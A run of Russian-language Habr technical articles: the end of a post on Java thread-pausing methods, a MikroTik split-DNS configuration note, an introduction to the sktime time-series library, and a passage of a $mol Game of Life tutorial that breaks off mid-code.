Именно поэтому он используется в перечисленных выше примитивах многопоточности. Суть "проворачивания" в том, что она одновременно значительно [экономичнее](https://stackoverflow.com/questions/73261540/confusing-branches-and-l1-dcache-loads-in-the-output-of-jmhs-linuxperfnormprofi) тупого `while(true)` и отзывчивее `Thread.sleep(1)`. Ещё одним преимуществом является сохранение состояния потока (он не переходит в режим `Thread.State.TIMED_WAITING`), что также сберегает время, а также предохраняет от нежелательного сценария, в котором заснувший поток просыпается на другом ядре/процессоре.
Но в сложных сценариях возможны нюансы :)
Возьмём, к примеру, класс `java.nio.Bits` из JDK и найдём в нём `Thread.sleep()`:
```
// A retry loop with exponential back-off delays.
// Sometimes it would suffice to give up once reference
// processing is complete. But if there are many threads
// competing for memory, this gives more opportunities for
// any given thread to make progress. In particular, this
// seems to be enough for a stress test like
// DirectBufferAllocTest to (usually) succeed, while
// without it that test likely fails. Since failure here
// ends in OOME, there's no need to hurry.
long sleepTime = 1;
int sleeps = 0;
while (true) {
if (tryReserveMemory(size, cap)) {
return;
}
if (sleeps >= MAX_SLEEPS) {
break;
}
try {
if (!jlra.waitForReferenceProcessing()) {
Thread.sleep(sleepTime);
sleepTime <<= 1;
sleeps++;
}
} catch (InterruptedException e) {
interrupted = true;
}
}
```
Комментарий к нему более чем говорящий, и если мы самонадеянно используем там `Thread.onSpinWait()`, то `OOME` в тесте `DirectBufferAllocTest` не заставит себя долго ждать:
Важное уточнениеТест оформлен в виде обычного класса с `public static void main(String[] args)`, который нужно запустить с флагами ВМ
```
-XX:MaxDirectMemorySize=128m -XX:-ExplicitGCInvokesConcurrent
```
Этот тест я добавил в репозиторий, так что пробуйте :)
Причина проста: в то время как `Thread.sleep()` усыпив текущий поток освобождает вычислительные мощности, `Thread.onSpinWait()` молотит вхолостую не давая продыху другим потокам (в том числе собирающим мусор), таким образом [потребление памяти опережает её освобождение](https://mail.openjdk.org/pipermail/core-libs-dev/2022-June/091685.html). Эта же проблема наблюдается в тесте `AttachWithStalePidFile`(этот тест отсутствует в репозитории, т. к. для его работы необходима инфраструктура тестирования JDK и его нельзя запустить как отдельное Java-приложение).
Как тестировать?Для запуска вам потребуются исходники JDK. После их скачивания и первоначальной настройки переходим в корневую папку (в моём случае это `~/IdeaProjects/jdk`) и выполняем
```
$ make test TEST=serviceability/attach/AttachWithStalePidFile.java
```
На выходе получаем
```
==============================
Test summary
==============================
TEST TOTAL PASS FAIL ERROR
jtreg:test/hotspot/jtreg/serviceability/attach/AttachWithStalePidFile.java
1 1 0 0
==============================
TEST SUCCESS
```
В отличие от предыдущего примера этот участок вроде бы идеально подходит под `Thread.onSpinWait()`, ведь мы просто проверяем существует ли файл:
```
private static void waitForAndResumeVM(int pid) throws Exception {
Path pauseFile = Paths.get("vm.paused." + pid);
int retries = 60;
while(!Files.exists(pauseFile) && --retries > 0) {
Thread.sleep(1000);
}
if(retries == 0) {
throw new RuntimeException("Timeout waiting for VM to start. " +
"vm.paused file not created within 60 seconds.");
}
Files.delete(pauseFile);
}
```
Проблема здесь та же: мы ожидаем выполнения условия, зависящего от других потоков, и поскольку `Thread.onSpinWait()` подгребает все мощности под себя другие потоки не могут продвигаться. Таким образом, сохранение потоком состояния `Thread.State.RUNNABLE` является благом в одних сценариях и злом в других.
Выводы:
* механическая замена не всегда срабатывает даже в хрестоматийном коде. Всегда, всегда учитывайте контекст;
* `Thread.onSpinWait()` даёт наименьшую возможную задержку в холостых циклах, но он более прожорлив. Хорошенько взвесьте все за и против, особенно если ожидание длительное, и разрабатываемое приложение работает на мобильном устройстве.
### Ещё варианты
Предположим, мы столкнулись с примером, подобным одному из двух описанных выше, т. е. `Thread.onSpinWait()` нам не подходит, а дожидаться окончания `Thread.sleep()` мы не можем. При таких раскладах палочкой-выручалочкой *может* стать `Thread.yield()`, документация которого многообещающе гласит:
> A hint to the scheduler that the current thread is willing to yield its current use of a processor.
>
>
Однако, тут же идёт и предостережение:
> **The scheduler is free to ignore this hint.**
> Yield is a heuristic attempt to improve relative progression between threads that would otherwise over-utilise a CPU. **Its use should be combined with detailed profiling and benchmarking to ensure that it actually has the desired effect**.
>
> It is rarely appropriate to use this method. It may be useful for debugging or testing purposes, where it may help to reproduce bugs due to race conditions. It may also be useful when designing concurrency control constructs such as the ones in the `java.util.concurrent.locks` package.
>
>
В отличие от `Thread.onSpinWait()` использование `Thread.yield()` в `java.nio.Bits` позволяет избежать падения в тесте `DirectBufferAllocTest`, но это вовсе не значит, то можно вот так с места в карьер использовать этот метод вместо `Thread.sleep()`.
Например, использование `Thread.yield()` вместо `Thread.sleep(1000)` в упомянутом выше `AttachWithStalePidFile` не помогает, тест будет падать.
Как правило `Thread.yield()` отдаёт свой квант времени другому потоку, однако планировщик имеет полное право проигнорировать вызов, а продолжительность задержки никак не обозначена и может быть любой. Поэтому с ним нужно быть ещё более осторожным, чем с `Thread.onSpinWait()`.
Если захотите поиграть со всеми основными способами одновременно, то смотрите `ThreadPausingBenchmark`.
### Выводы
Какого-то универсального решения для всех задач нет:
* `Thread.sleep()` освобождает вычислительные мощности, но он негибкий и дорогой;
* `LockSupport.parkNanos()` гибче и дешевле, но и он не бесплатен;
* `Thread.onSpinWait()` подходит для коротких задержек (например, в примитивах многопоточности) и довольно жаден;
* `Thread.yield()` стрёмный и его использование требует большого искусства и глубокого понимания что, как и зачем делается.
На этом всё. До новых встреч! | https://habr.com/ru/post/674116/ | null | ru | null |
# Mikrotik split-dns: они это сделали
Не прошло и 10 лет, как разработчики RoS (в stable 6.47) добавили функционал, который позволяет перенаправить DNS запросы в соответствии со специальными правилами. Если раньше надо было изворачиваться с Layer-7 правилами в firewall, то теперь это делается просто и изящно:
```
/ip dns static
add forward-to=192.168.88.3 regexp=".*\\.test1\\.localdomain" type=FWD
add forward-to=192.168.88.56 regexp=".*\\.test2\\.localdomain" type=FWD
```
Моему счастью нет предела!
Чем это нам грозит?
-------------------
Как минимум, мы избавляемся от странных конструкций с NAT наподобие этой:
```
/ip firewall layer7-protocol
add comment="DNS Nat contoso.com" name=contoso.com regexp="\\x07contoso\\x03com"
/ip firewall mangle
add action=mark-packet chain=prerouting comment="mark dns contoso.com" dst-address-type=local dst-port=53 in-interface-list=DNSMASQ layer7-protocol=contoso.com new-packet-mark=dns-contoso.com passthrough=yes protocol=udp
add action=mark-packet chain=prerouting comment="mark dns contoso.com" dst-address-type=local dst-port=53 in-interface-list=DNSMASQ layer7-protocol=contoso.com new-packet-mark=dns-contoso.com passthrough=yes protocol=tcp
/ip firewall nat
add action=dst-nat chain=dstnat comment="DST-NAT dns contoso.com" dst-port=53 in-interface-list=DNSMASQ packet-mark=dns-contoso.com protocol=udp to-addresses=192.0.2.15
add action=dst-nat chain=dstnat comment="DST-NAT dns contoso.com" dst-port=53 in-interface-list=DNSMASQ packet-mark=dns-contoso.com protocol=tcp to-addresses=192.0.2.15
add action=masquerade chain=srcnat comment="mask dns contoso.com" dst-port=53 packet-mark=dns-contoso.com protocol=udp
add action=masquerade chain=srcnat comment="mask dns contoso.com" dst-port=53 packet-mark=dns-contoso.com protocol=tcp
```
И это не все, теперь можно прописать несколько серверов пересылки, что поможет сделать dns failover.
Интелектуальная обработка DNS даст возможность начать внедрение ipv6 в сеть компании. До этого я этого не делал, причина в том, что мне нужно было разрешать ряд dns имен в локальные адреса, а в ipv6 это было не сделать без довольно больших костылей. | https://habr.com/ru/post/505064/ | null | ru | null |
# Sktime: унифицированная библиотека Python для машинного обучения и работы с временными рядами
***Всем привет. В преддверии старта [базового](https://otus.pw/nN4U/) и [продвинутого](https://otus.pw/7OyZ/) курсов «Математика для Data Science», мы подготовили перевод еще одного интересного материала.***
---
### Решение задач из области data science на Python – это непросто
Почему? Существующие инструменты плохо подходят для решения задач, связанных с временными рядами и эти инструменты сложно интегрировать друг с другом. Методы пакета scikit-learn предполагают, что данные структурированы в табличном формате и каждый столбец состоит из независимых и одинаково распределенных случайных величин – предположений, которые не имеют ничего общего с данными временных рядов. Пакеты, в которых есть модули для машинного обучения и работы с временными рядами, такие как *[statsmodels](https://www.statsmodels.org/stable/user-guide.html#time-series-analysis)*, не особо хорошо дружат между собой. Более того, множество важных операций с временными рядами, такие как разбиение данных на обучающий и тестовый наборы по временным промежуткам, в существующих пакетах недоступны.
Для решения подобных задач и была создана *sktime*.
*[Логотип библиотеки sktime на GitHub](https://github.com/alan-turing-institute/sktime)*
Sktime – это инструментарий для машинного обучения на Python с открытым исходным кодом, разработанный специально для работы с временными рядами. Этот проект разрабатывается сообществом и финансируется Британским [Советом по экономическим и социальным исследованиям](https://esrc.ukri.org/), центром [Consumer Data Research](https://www.cdrc.ac.uk/) и [Институтом Алана Тьюринга](https://turing.ac.uk/).
Sktime расширяет API scikit-learn для решения задач временных рядов. В нем собраны все необходимые алгоритмы и инструменты преобразования для эффективного решения задач регрессии временных рядов, прогнозирования и классификации. Библиотека включает в себя специальные алгоритмы машинного обучения и методы преобразования для временных рядов, которых нет в других популярных библиотеках.
Sktime был разработан для работы с scikit-learn, легкой адаптации алгоритмов для взаимосвязанных задач временных рядов и построения сложных моделей. Как это работает? Многие задачи временных рядов так или иначе связаны друг с другом. Алгоритм, который можно применить для решения одной задачи, очень часто можно применить и для решения другой, связанной с ней. Эта идея называется редукцией. Например, модель для регрессии временных рядов (которая использует ряд для прогнозирования выходного значения) может быть переиспользована для задачи прогнозирования временных рядов (которая предсказывает выходное значение – значение, которое будет получено в будущем).
***Основная идея проекта:** «sktime предлагает понятное и интегрируемое машинное обучение с использованием временных рядов. Он располагает алгоритмами, которые совместимы с scikit-learn и инструментами совместного использования моделей, поддерживаемые четкой таксономией задач обучения, с понятной документацией и дружелюбным сообществом.»*
В этой статье я выделю некоторые уникальные особенности *sktime*.
### Корректная модель данных для временных рядов
Sktime использует вложенную структуру данных для временных рядов в виде датафреймов *pandas*.
Каждая строчка в типичном датафрейме содержит независимые и одинаково распределенные случайные величины – наблюдения, а столбцы – различные переменные. Для методов *sktime* каждая ячейка датафрейма Pandas теперь может содержать целый временной ряд. Такой формат является гибким для многомерных, панельных и гетерогенных данных и позволяет повторно использовать методы как в *Pandas*, так и в *scikit-learn*.
В таблице ниже каждая строка – это наблюдение, содержащее массив временных рядов, в столбце Х и значение класса в столбце Y. Оценщики и трансформаторы sktime умеют работать с такими временными рядами.
*Нативная структура данных для временных рядов, совместимая с sktime.*
В следующей таблице каждый элемент ряда Х был вынесен в отдельный столбец, как того требуют методы scikit-learn. Размерность довольно высокая – 251 столбец! Помимо этого, упорядоченность столбцов по времени игнорируется алгоритмами обучения, которые работают с табличными величинами (однако используется алгоритмами классификации и регрессии временных рядов).
*Структура данных временных рядов, требуемая scikit-learn.*
Для задач моделирования нескольких совместных рядов нативная структура данных временных рядов, которая совместима с *sktime*, подходит идеально. Модели, обученные на табличных данных, ожидаемых *scikit-learn*, завязнут в большом количестве признаков.
### Что умеет *sktime*?
Согласно странице на [GitHub](https://github.com/alan-turing-institute/sktime), *sktime* в настоящее время предоставляет следующие возможности:
* Современные алгоритмы классификации временных рядов, регрессионного анализа и прогнозирования (портированного из инструментария `tsml` на Java);
* Трансформаторы для временных рядов: преобразования одиночных рядов (например, детрендинг или десезонализация), преобразования рядов как признаков (например, извлечение признаков), и инструменты для совместного использования нескольких трансформаторов.
* Пайплайны для трансформаторов и моделей;
* Настройка модели;
* Ансамбль моделей, например, полностью настраиваемый случайный лес для классификации и регрессии временных рядов, ансамбль для многомерных задач.
### API sktime
Как было сказано раньше, *sktime* поддерживает базовый API scikit-learn с методами классов `fit`, `predict`, и `transform`.
Для классов оценщиков (или же моделей) *sktime* предоставляет метод `fit` для обучения модели и метод `predict` для генерации новых прогнозов.
Оценщики в *sktime* расширяют регрессоры и классификаторы scikit-learn, предоставляя аналоги этих методов, которые умеют работать с временными рядами.
Для классов трансформаторов sktime предоставляет методы `fit` и `transform` для преобразования данных рядов. Есть несколько типов доступных преобразований:
* Преобразования табличных данных, такие как метод главных компонент, которые работают с экземплярами независимых и одинаково распределенных случайных величин;
* Преобразования рядов в примитивы, которые преобразуют временные ряды в каждой строке в примитивные числа (например, транзакции признаков);
* Преобразование рядов к другим рядам (например, преобразование Фурье);
* Трансформаторы, осуществляющие детрендинг, возвращают временной ряд в том же домене, что и входной ряд (например, сезонный детрендинг).
Примеры кода
------------
#### Прогнозирование временных рядов
Следующий пример – это адаптация руководства по прогнозированию с [GitHub](https://github.com/alan-turing-institute/sktime/blob/master/examples/01_forecasting.ipynb). Ряд в данном примере (набор данных авиакомпании Box-Jenkins) показывает количество международных пассажиров самолетов в месяц с 1949 по 1960 год.
Для начала загрузите данные и разделите их на обучающий и тестовый наборы, а также сделайте график. В *sktime* есть две удобные функции для легкого выполнения этих задач — `temporal_train_test_splitfor`, которая разделит набор данных по времени и `plot_ys`, которая построит графики на основе тестовой и обучающей выборки.
```
from sktime.datasets import load_airline
from sktime.forecasting.model_selection import temporal_train_test_split
from sktime.utils.plotting.forecasting import plot_ys
y = load_airline()
y_train, y_test = temporal_train_test_split(y)
plot_ys(y_train, y_test, labels=["y_train", "y_test"])
```
Перед созданием сложных прогнозов полезно сравнить свой прогноз со значениями полученным по наивным баейсовским алгоритмам. Хорошая модель должна превзойти эти значения. В *sktime* есть метод `NaiveForecaster` с различными стратегиями для создания базовых прогнозов.
Код и диаграмма ниже демонстрируют два наивных прогноза. Предсказатель с `strategy = “last”` всегда будет давать прогноз относительно последнего значения ряда.
Предсказатель с `strategy = “seasonal_last”` предсказывает последнее значение ряда в данном сезоне. Сезонность в примере задана как `“sp=12”`, то есть 12 месяцев.
```
from sktime.forecasting.naive import NaiveForecaster
naive_forecaster_last = NaiveForecaster(strategy="last")
naive_forecaster_last.fit(y_train)
y_last = naive_forecaster_last.predict(fh)
naive_forecaster_seasonal = NaiveForecaster(strategy="seasonal_last", sp=12)
naive_forecaster_seasonal.fit(y_train)
y_seasonal_last = naive_forecaster_seasonal.predict(fh)
plot_ys(y_train, y_test, y_last, y_seasonal_last, labels=["y_train", "y_test", "y_pred_last", "y_pred_seasonal_last"]);
smape_loss(y_last, y_test)
>>0.231957
```
Следующий фрагмент прогноза показывает, как существующие регрессоры sklearn можно легко, корректно и с минимальными усилиями адаптировать под задачи прогнозирования. Ниже метод `ReducedRegressionForecaster` из *sktime* предсказывает ряд, используя модель `sklearnRandomForestRegressor`. Под капотом *sktime* разбивает обучающие данные на окна по 12, чтобы регрессор мог продолжать обучение.
```
from sktime.forecasting.compose import ReducedRegressionForecaster
from sklearn.ensemble import RandomForestRegressor
from sktime.forecasting.model_selection import temporal_train_test_split
from sktime.performance_metrics.forecasting import smape_loss
regressor = RandomForestRegressor()
forecaster = ReducedRegressionForecaster(regressor, window_length=12)
forecaster.fit(y_train)
y_pred = forecaster.predict(fh)
plot_ys(y_train, y_test, y_pred, labels=['y_train', 'y_test', 'y_pred'])
smape_loss(y_test, y_pred)
```
В *sktime* также есть собственные методы прогнозирования, например `AutoArima`.
```
from sktime.forecasting.arima import AutoARIMA
forecaster = AutoARIMA(sp=12)
forecaster.fit(y_train)
y_pred = forecaster.predict(fh)
plot_ys(y_train, y_test, y_pred, labels=["y_train", "y_test", "y_pred"]);
smape_loss(y_test, y_pred)
>>0.07395319887252469
```
Чтобы глубже погрузиться в функционал прогнозирования *sktime*, ознакомьтесь с руководством [по ссылке](https://github.com/alan-turing-institute/sktime/blob/master/examples/01_forecasting.ipynb).
### Классификация временных рядов
Также `sktime` можно использовать для классификации временных рядов на различные группы.
В примере кода ниже классификация одиночных временных рядов делается также просто, как и классификация в scikit-learn. Единственное отличие – это вложенная структура данных временных рядов, о которой мы говорили выше.
```
from sktime.datasets import load_arrow_head
from sktime.classification.compose import TimeSeriesForestClassifier
from sklearn.model_selection import train_test_split
from sklearn.metrics import accuracy_score
X, y = load_arrow_head(return_X_y=True)
X_train, X_test, y_train, y_test = train_test_split(X, y)
classifier = TimeSeriesForestClassifier()
classifier.fit(X_train, y_train)
y_pred = classifier.predict(X_test)
accuracy_score(y_test, y_pred)
>>0.8679245283018868
```
Пример был взят отсюда [pypi.org/project/sktime](https://pypi.org/project/sktime/)
*Данные, переданные в TimeSeriesForestClassifier*
Чтобы узнать больше о классификации рядов, посмотрите руководства по [одномерной](https://github.com/alan-turing-institute/sktime/blob/master/examples/02_classification_univariate.ipynb) и [многомерной](https://github.com/alan-turing-institute/sktime/blob/master/examples/03_classification_multivariate.ipynb) классификации в *sktime*.
### Дополнительные ресурсы по *sktime*
Чтобы узнать больше о Sktime, посмотрите следующие ссылки с документацией и примерами.
* Детальное описание API: [sktime.org](http://sktime.org/)
* [Страница sktime на GitHub](https://github.com/alan-turing-institute/sktime) (с документацией);
* [Примеры кода](https://github.com/alan-turing-institute/sktime/tree/master/examples);
* Статья про Sktime: [Markus Löning, Anthony Bagnall, Sajaysurya Ganesh, Viktor Kazakov, Jason Lines, Franz Király (2019): “sktime: A Unified Interface for Machine Learning with Time Series”](http://learningsys.org/neurips19/assets/papers/sktime_ml_systems_neurips2019.pdf)
---
[Логистическая регрессия для классификации данных. Бесплатный вебинар.](https://otus.pw/7OyZ/)
--- | https://habr.com/ru/post/511782/ | null | ru | null |
# $mol_app_life: симулятор бога своими руками
Здравствуйте, меня зовут Дмитрий Карловский. Недавно я оказался при смерти и понял как сильно я люблю Жизнь. Это идеальная игра для социопатов, где вы выступаете в роли бога, своею дланью единоправно решающего кому жить, кому умереть, а кому фаллоформировать. Новая клетка появляется как результат соития трёх других однополых соседей и умирает будучи затоптанной толпой из более чем трёх, оставшись наедине с собой или в компании всего одного. Кто бы мог подумать, что столь простые законы породят настолько огромное разнообразие игрового опыта, что играть в [Жизнь](https://en.wikipedia.org/wiki/Conway%27s_Game_of_Life) будут и спустя 50 лет после их формулировки.
[](http://mol.js.org/app/life/#snapshot=-ffff~1~10001~10000~ffff)
Если вы ещё не работали со $mol, то перед чтением рекомендуется прочитать более дружелюбное к новичкам руководство "[$mol\_app\_calc: вечеринка электронных таблиц](https://habrahabr.ru/post/338804/)". А если его уже осилили, то далее вы узнаете:
1. Как работать с бесконечным жизненным полем.
2. Как рисовать быструю векторную графику.
3. Как в $mol легко и просто соединить управление пальцем и рисование графики.
Векторная графика
=================
$mol разрабатывался в расчёте на компактность, эффективность кода и простоту его использования. Это значит, что прикладному программисту достаточно лишь указать что куда рендерить не задумываясь об оптимизациях, а графические модули уже сами разберутся как это лучше сделать. Коллекция модулей [$mol\_plot](https://github.com/eigenmethod/mol/tree/master/plot) именно такая реализация. В простейшем случае, вы скармливаете ей вектор чисел и тип графика, а она сама располагает их как следует:
```
<= Plot $mol_plot_pane
graphs /
<= Trend $mol_plot_line
series <= trend /
1
2
5
4
```
Сейчас поддерживаются следующие типы: линейный, столбчатый, точечный и заливочный. Плюс вертикальная и горизонтальная линейки. Кроме того, если специальный тип графика позволяющий объединять несколько других типов в один, что позволяет конструировать новые типы графиков, комбинируя существующие. Например, мы можем сконструировать "Верёвочный тип графика с заполнением":
```
$my_plot_rope $mol_plot_group
graphs /
<= Line $mol_plot_line
<= Dot $mol_plot_dot
<= Fill $mol_plot_fill
```
Разумеется, мы можем нарисовать и несколько графиков по разным векторам, при этом $mol\_plot\_pane умеет сам давать каждому графику уникальный цвет начиная с базового оттенка:
```
<= Plot $mol_plot_pane
hue_base 206
graphs /
<= Fact $mol_plot_bar
series <= fact /
1000
2000
4000
9000
<= Plan $mol_plot_line
series <= plan /
1000
3000
5000
7000
type \dashed
```
Но и это ещё не всё, типы графиков могут возвращать семплы для легенды. При этом семплы, как и собственно графики, умеют комбинироваться. Так что у вас никогда не возникнет жуков, когда на графике отображается один тип линии, а в легенде — другой. Вы только взгляните на автоматически генерируемую из графиков легенду:
[](http://mol.js.org/app/demo/#demo=mol_chart_demo_styles)
Скорость графики
================
Реализация графиков мало того, что очень компактная, так ещё и весьма эффективная:
[**Бенчмарк верёвочных диаграмм**
](http://mol.js.org/app/bench/#bench=chart%2Frope%2F/sort=update/sample=hcharts~mol~anychart)
[**Бенчмарк столбчатых диаграмм**
](http://mol.js.org/app/bench/#bench=chart%2Fbar%2F/sort=update/sample=hcharts~mol~anychart)
Достигается такая эффективность за счёт многих факторов:
1. Реализация банально проще и требует меньше накладных расходов.
2. Используется [Реактивное Программирование](https://habrahabr.ru/post/330466/) для эффективного обновления состояний. Это настолько эффективно, что вы можете легко менять любой аспект рендеринга в реальном времени почти не нагружая систему. Например: [графическая дискотека](http://mol.js.org/app/demo/#demo=mol_plot_demo).
3. Точки, располагающиеся визуально неотличимо близко друг ко другу схлопываются в одну. Как бы много данных вы ни закинули в рендеринг — он не не положит систему многократным ререндерингом одного и того же пикселя.
4. Точки, выпавшие за пределы области просмотра исключаются из рендеринга. Актуально при панорамировании огромных объёмов данных. Чем меньше мы рендерим, тем быстрее мы рендерим.
5. Графики рисуются минимумом SVG элементов.
По последнему пункту есть даже отдельный бенчмарк, показывающий, что правильно реализованный SVG график, с рендерингом через один path элемент вместо кучи line элементов, по скорости не сильно уступает ручному рендерингу по холсту:
[**SVG vs Canvas**
](http://mol.js.org/app/bench/#bench=chart%2Fbar%2F/sort=update/sample=hcharts~mol~anychart)
Графика Жизни
=============
Рисовать нам надо будет точки, расположенные не по порядку слева направо, а в произвольных местах. Для этого мы зададим не `series`, а `points_raw`, который возвращает не вектор чисел, а вектор из координат:
```
$mol_app_life_map $mol_plot_pane
gap 0
graphs /
<= Points $mol_plot_dot
threshold 0
points_raw <= points /
```
Обратите внимание, что мы убрали отступы графика от края области рендеринга (`gap`) и схлопывание близко расположенных точек (`threshold`) так как они нам не нужны.
У `$mol_plot_pane` есть свойства `shift` и `scale` позволяющие централизованно изменять размер и положение графиков. Давайте введём свойство `zoom`, которое будет задавать коэффициент масштабирования, и `pan` которое будет алиасом для `shift`. И то и другое у нас будет изменяемым.
```
$mol_app_life_map $mol_plot_pane
gap 0
-
pan?val /
0
0
zoom?val 16
scale /
<= zoom -
<= zoom -
shift <= pan -
-
graphs /
<= Points $mol_plot_dot
threshold 0
diameter <= zoom -
points_raw <= points /
```
Обратите внимание, что мы указали диаметр точек равный степени приближения. А по умолчанию степень приближения равна 16. Значит всё поле изначально у нас будет представлять 16-пиксельную сетку в ячейках которых будут находиться 16-пиксельные кружки.
Зум и панорамирование
=====================
В $mol есть специальные компоненты, которые предназначены не для самостоятельного рендеринга, а для добавления функциональности к другим. Один из таких плагинов — [$mol\_touch](https://github.com/eigenmethod/mol/edit/master/touch/), перехватывающий события пальцевого и мышиного ввода и реализующего различные жесты. Нам нужно лишь менять размер клеток и перемещать поле, поэтому мы добавляем плагин и провязываем объявленные ранее свойства:
```
plugins /
<= Touch $mol_touch
zoom?val <=> zoom?val -
pan?val <=> pan?val -
```
Вот и всё. Правда. Двустороннее связывание — просто чудесная вещь. Вы пишите минимум кода, но при этом всё под вашим полным контролем. Когда любой вложенный компонент запрашивает значение свойства или пытается в него что-то записать — вызывается ваша функция. Например, давайте зададим минимальный уровень приближения равный единице:
```
@ $mol_mem
zoom( next = super.zoom() ) {
return Math.max( 1 , next )
}
```
А в качестве смещения по умолчанию зададим половину размера области рендеринга, чтобы клетка с координатами `[0,0]` изначально располагалась в центре:
```
@ $mol_mem
pan( next? : number[] ) {
return next || this.size_real().map( v => v / 2 )
}
```
Правила игры
============
Можно было бы ограничиться небольшим полем в размер экрана, но мы не ищем лёгких путей, поэтому поле наше будет бесконечным. Ну как бесконечным… тороидальным, но очень большим: 64K \* 64K = 4Г клеток.
Рассчитывать состояние каждой клетки такого огромного поля — слишком долгая операция. Заметим, что число живых клеток несопоставимо меньше, чем мёртвых. А это значит, что на каждом шаге имеет смысл обновлять состояние лишь живых клеток и их ближайших окрестностей.
Для этого нам понадобится структура под названием множество (`Set`) для хранения координат живых клеток. Да вот беда: координаты клетки — это два числа, а ключом множества может быть лишь одно примитивное значение (или ссылка на объект, но это фактически тоже примитив).
Мы могли бы сериализовать числа в строки и сконкатенировать их, получив ключ. Но работа со строками относительно не быстрая операция. Самое эффективное — соединить 2 числа в одно, используя битовые операции. Битовые операции в JS всегда приводят числа к 32-битному представлению. А значит на каждую координату у нас будет целых 16 бит — отсюда и ограничение на размер поля в 4 гигаклетки.
Соединить числа весьма просто — обрезаем до 16 бит и объединяем с разными смещениями:
```
function key( a : number , b : number ) {
return a << 16 | b & 0xFFFF
}
```
Также нам потребуется их и разъединять, чтобы итерируясь по множеству получать координаты. Старшее число получить не сложно, просто сдвинув его с заполнением старшим битом:
```
function x_of( key : number ) {
return key >> 16
}
```
А вот чтобы получить младшее число недостаточно просто обрезать старшие биты, ведь тогда сломаются отрицательные значения, старшие биты которых должны быть единицами, а не нулями. Нужно сдвинуть младшие биты на место старших, а затем задача сводится к предыдущей:
```
function y_of( key : number ) {
return key << 16 >> 16
}
```
Теперь мы можем создавать множества и добавлять/удалять из них координаты:
```
const state = new Set<[ number , number ]>()
state.add( key( 1, 2 ) )
state.add( key( 3, 4 ) )
state.delete( key( 1, 4 ) )
for( let key of state ) {
console.log( x_of( key ) , y_of( key ) )
}
```
Заведём реактивное свойство `state`, которое будет хранить у нас состояние вселенной на текущий момент и пусть оно формирует множество живых клеток на основе сериализованного представления `snapshot`, через которое можно будет устанавливать начальное состояние извне:
```
@ $mol_mem
state( next? : Set ) {
const snapshot = this.snapshot()
if( next ) return next
return new Set( snapshot.split( '~' ).map( v => parseInt( v , 16 ) ) )
}
```
Обратите внимание, что мы сначала читаем текущий снепшот, а только потом позволяем его переопределить. Это надо, чтобы даже если мы изменили состояние, оно всё равно синхронизировалось бы со снепшотом.
Кроме того, предоставим возможность реактивно же получить из компонента снепшот текущего изменённого состояния:
```
@ $mol_mem
snapshot_current() {
return [ ... this.state() ].map( key => key.toString( 16 ) ).join( '~' )
}
```
Не забудем объявить коммуникационные свойства во view.tree:
```
snapshot \
snapshot_current \
-
speed 0
population 0
```
Заодно мы объявили свойство `speed` задающее частоту обновления мира и `population` позволяющее получить число живых клеток на данный момент. Последний реализовать несложно:
```
@ $mol_mem
population() {
return this.state().size
}
```
Наконец, самое интересное — обновление состояния с заданной скоростью. Для этого мы заведём свойство `future`, которое будет читать состояние, на его основе вычислять новое и записывать обратно:
```
@ $mol_mem
future( next? : Set ) {
let prev = this.state()
const state = new Set()
// заполнили state на основе prev
return this.state( state )
}
```
Такое свойство вычислится один раз и всё, а нам надо периодически, поэтому добавляем ему зависимость от текущего времени с нужной частотой:
```
@ $mol_mem
future( next? : Set ) {
let prev = this.state()
if( !this.speed() ) return prev
this.$.$mol\_state\_time.now( 1000 / this.speed() )
const state = new Set()
// заполнили state на основе prev
return this.state( state )
}
```
Теперь оно будет инвалидироваться каждые N миллисекунд (от 16 до 1000), что приведёт к исполнению метода и обновлению состояния мира. Кстати, вот и код этого обновления:
```
const state = new Set()
const skip = new Set()
for( let alive of prev ) {
const ax = x\_of( alive )
const ay = y\_of( alive )
for( let ny = ay - 1 ; ny <= ay + 1 ; ++ny ) for( let nx = ax - 1 ; nx <= ax + 1 ; ++nx ) {
const nkey = key( nx , ny )
if( skip.has( nkey ) ) continue
skip.add( nkey )
let sum = 0
for( let y = -1 ; y <= 1 ; ++y ) for( let x = -1 ; x <= 1 ; ++x ) {
if( !x && !y ) continue
if( prev.has( key( nx + x , ny + y ) ) ) ++sum
}
if( sum != 3 && ( !prev.has( nkey ) || sum !== 2 ) ) continue
state.add( nkey )
}
}
```
Тут уже применены основные оптимизации. Возможно именно вы сможете оптимизировать его ещё сильнее. Дерзайте!
Наконец, сформируем список точек для рендеринга:
```
points() {
const points = [] as number[][]
for( let key of this.future().keys() ) {
points.push([ x_of( key ) , y_of( key ) ])
}
return points
}
```
Божественная длань
==================
Чтобы игрок был не просто немым свидетелем, а властителем судеб, подпишемся на несколько событий указателя:
```
event *
^
mousedown?event <=> draw_start?event null
mouseup?event <=> draw_end?event null
```
Не смотря на название, работают они как с мышь, так и с пальцем. К сожалению событие `click` тут не подойдёт, ибо оно срабатывает даже при панорамировании, что нам совершенно не надо. Поэтому при активации указателя мы будем запоминать текущее его положение:
```
@ $mol_mem
draw_start_pos( next? : number[] ) {
return next
}
draw_start( event? : MouseEvent ) {
this.draw_start_pos([ event.pageX , event.pageY ])
}
```
А по деактивации, проверять смещение и, если оно не сильно изменилось, инициировать переключение жизни и смерти клетки, что попала под руку:
```
draw_end( event? : MouseEvent ) {
const start_pos = this.draw_start_pos()
const pos = [ event.pageX , event.pageY ]
if( Math.abs( start_pos[0] - pos[0] ) > 4 ) return
if( Math.abs( start_pos[1] - pos[1] ) > 4 ) return
const zoom = this.zoom()
const pan = this.pan()
const cell = key(
Math.round( ( event.offsetX - pan[0] ) / zoom ) ,
Math.round( ( event.offsetY - pan[1] ) / zoom ) ,
)
const state = new Set( this.state() )
if( state.has( cell ) ) state.delete( cell )
else state.add( cell )
this.state( state )
}
```
Интерфейс управления
====================
Игровое поле `$mol_app_life_map` готово, можно приступать к созданию приложения по его управлению. Представлять из себя оно у нас будет обычную страницу $mol\_page, состоящую из шапки и игрового поля:
```
$mol_app_life $mol_page
title @ \Life of {population} cells
sub /
<= Head -
<= Map $mol_app_life_map
speed <= speed -
snapshot <= snapshot \
snapshot_current => snapshot_current
population => population
```
Тут мы устанавливаем полю скорость и базовый снепшот, а вытягиваем число живых клеток и снепшот текущего состояния.
В заголовке заменяем плейсхолдер на конкретное число живых клеток:
```
title() {
return super.title().replace( '{population}' , `${ this.population() }` )
}
```
Базовый снепшот берём из ссылки:
```
snapshot() {
return this.$.$mol_state_arg.value( 'snapshot' ) || super.snapshot()
}
```
Заодно формируем ссылку на текущее состояние мира, переход по которой будет добавлять текущий снепшот в историю браузера:
```
store_link() {
